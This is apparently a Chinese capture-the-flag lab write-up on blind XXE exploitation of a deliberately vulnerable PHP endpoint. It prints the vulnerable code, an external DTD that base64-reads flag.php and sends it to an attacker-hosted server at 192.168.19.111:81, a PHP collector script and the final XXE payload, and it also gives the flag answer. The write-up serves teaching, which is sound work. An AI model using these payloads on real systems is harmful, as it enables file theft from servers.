无回显xxe利用

[题目信息]:

题目名称题目难度
无回显xxe利用3

[题目考点]:

无回显xxe利用

[Flag格式]:

SangFor{rOo-xJfXXIVA4DLFyURKdxjSFnwyU4CW}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

1、实验主页

2、代码解析

<?php
$xml = file_get_contents("php://input");#1
if (strlen($xml)<10){
    highlight_file("index.php.bak");
}
libxml_disable_entity_loader(false);
error_reporting(0);
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);#2
echo 'I just load, but did not dispay!';

代码有两个关键点,#1和#2。

#1处 $xml由用户post数据赋值。

#2处 simplexml_load_string函数会读取$xml文件。

与前面题目有所不同的是未显示解析xml变量的结果,即无回显。

3、利用HTTP请求,将文本的数据外带

访问flag.php状态码返回200,证明flag.php文件存在。

在vps上放置两个文件,若没有vps,也可使用操作机使用Python2或者Python3搭建Web服务,靶机可访问即可。

python2搭建Web服务命令:
python -m SimpleHTTPServer 81
python3搭建Web服务命令:
python3 -m http.server 81

在目录下放置两个文件。

evil.txt

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.19.111:81/test.php?p=%file;'>">

test.php

<?php
if (isset($_GET['p'])){
    file_put_contents('result.txt', $_GET['p']);
}

利用XXE发送两次请求,第一次请求,使用参数实体读取文件,第二次请求,将读取文件的参数实体附带在对外请求中。

4、Payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE everything [  
<!ENTITY % SangFor SYSTEM "http://192.168.19.111:81/evil.txt"> 
%SangFor;%int;%send;]> 

5、分析

Payload会访问vps服务器上的evil.txt文件。

evil.txt的参数实体%file会将读取的flag文件base64编码带入到http://192.168.19.111:81/test.php?p=%file;,去访问本地的test.php文件,如下图所示。

将base64解码即可。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值